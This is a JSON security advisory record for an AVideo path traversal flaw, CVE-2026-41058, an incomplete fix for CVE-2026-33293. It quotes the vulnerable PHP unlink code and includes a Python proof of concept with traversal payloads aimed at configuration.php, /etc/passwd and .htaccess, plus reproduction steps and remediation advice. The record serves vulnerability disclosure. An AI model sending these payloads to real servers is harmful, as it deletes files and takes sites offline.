{"id":"CVE-2026-41058","aliases":["GHSA-5879-4fmr-xwf2"],"url":"https://o3.security/vulnerability/CVE-2026-41058","summary":"AVideo has an incomplete fix for CVE-2026-33293 (Path Traversal) in AVideo","details":"### Summary\n\nThe incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** AVideo\n- **Affected versions:** < commit 941decd6d19e\n- **Patched versions:** >= commit 941decd6d19e\n\n### Details\n\nAt line 44-48 of `cloneServer.json.php` (pre-fix):\n```php\nif (!empty($_GET['deleteDump'])) {\n    $resp->error = !unlink(\"{$clonesDir}{$_GET['deleteDump']}\");\n    $resp->msg = \"Delete Dump {$_GET['deleteDump']}\";\n    die(json_encode($resp));\n}\n```\n\nNo `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$clonesDir`.\n\nThe vulnerable code has zero protection against path traversal:\n- No `basename()` to strip directory components\n- No `realpath()` to validate the final path\n- No check that resolved path is within `$clonesDir`\n- No `../` sanitization\n- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line\n\n### PoC\n\n```python\n\"\"\"\nCVE-2026-33293 - AVideo CloneSite Path Traversal\n\"\"\"\n\nimport sys\nimport os\n\nVULN_SRC = os.path.join(os.path.dirname(__file__), \"src\", \"cloneServer.json.php\")\n\ndef verify_source_file():\n    if not os.path.isfile(VULN_SRC):\n        print(\"ERROR: Source not found at %s\" % VULN_SRC)\n        sys.exit(1)\n    with open(VULN_SRC, \"r\") as f:\n        src = f.read()\n    if \"unlink(\" not in src or \"deleteDump\" not in src:\n        print(\"ERROR: Expected patterns not found\")\n        sys.exit(1)\n    return src\n\ndef vulnerable_delete_path(clones_dir, delete_dump):\n    return clones_dir + delete_dump\n\ndef test_path_traversal():\n    clones_dir = \"/var/www/html/AVideo/videos/clones/\"\n    payloads = [\n        (\"../../configuration.php\", \"Delete site configuration\"),\n        (\"../../../etc/passwd\", \"Delete system file\"),\n        (\"../../.htaccess\", \"Delete .htaccess\"),\n    ]\n\n    print(\"Testing path traversal via deleteDump parameter:\")\n    print(\"Base clones_dir: %s\" % clones_dir)\n    print()\n\n    all_traversal = True\n    for payload, desc in payloads:\n        resolved = vulnerable_delete_path(clones_dir, payload)\n        real_resolved = os.path.normpath(resolved)\n        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))\n\n        if escaped:\n            print(\"[+] TRAVERSAL: %s\" % desc)\n            print(\"    Payload: deleteDump=%s\" % payload)\n            print(\"    unlink() target: %s\" % resolved)\n            print(\"    Normalized: %s\" % real_resolved)\n        else:\n            all_traversal = False\n\n    return all_traversal\n\ndef main():\n    print(\"=\" * 70)\n    print(\"CVE-2026-33293: AVideo CloneSite Path Traversal PoC\")\n    print(\"=\" * 70)\n    print()\n\n    src = verify_source_file()\n    print(\"[+] Source file verified: %s\" % VULN_SRC)\n\n    for line in src.split('\\n'):\n        if 'unlink(' in line and 'deleteDump' in line:\n            print(\"[+] Vulnerable line: %s\" % line.strip())\n            break\n    print()\n\n    if test_path_traversal():\n        print(\"\\nVULNERABILITY CONFIRMED\")\n        sys.exit(0)\n    else:\n        print(\"\\nVULNERABILITY NOT CONFIRMED\")\n        sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`\n2. `cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1`\n3. `python3 poc.py`\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nThe deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.\n```\n\n### Impact\n\nAn attacker can delete arbitrary files on the server. Deleting `configuration.php` takes the site offline. Deleting `.htaccess` exposes protected directories. Deleting system files can affect other services.\n\n### Suggested Remediation\n\nUse `basename($_GET['deleteDump'])` to strip directory components. Validate that `realpath()` of the final path is within `$clonesDir`. Validate file extension. Add authentication checks.","published":"2026-04-21T22:43:17.095Z","modified":"2026-08-12T03:51:36.169215790Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},"epss":{"score":0.00469,"percentile":0.38372,"asOf":"2026-08-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2","label":"WWBN/AVideo@3c72971"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41058.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-5879-4fmr-xwf2"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-xmjm-86qv-g226"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41058"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/3c729717c26f160014a5c86b0b6accdbd613e7b2"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/941decd6d19e2e694acb75e86317d10fbb560284"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33293"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:36.169215790Z"}}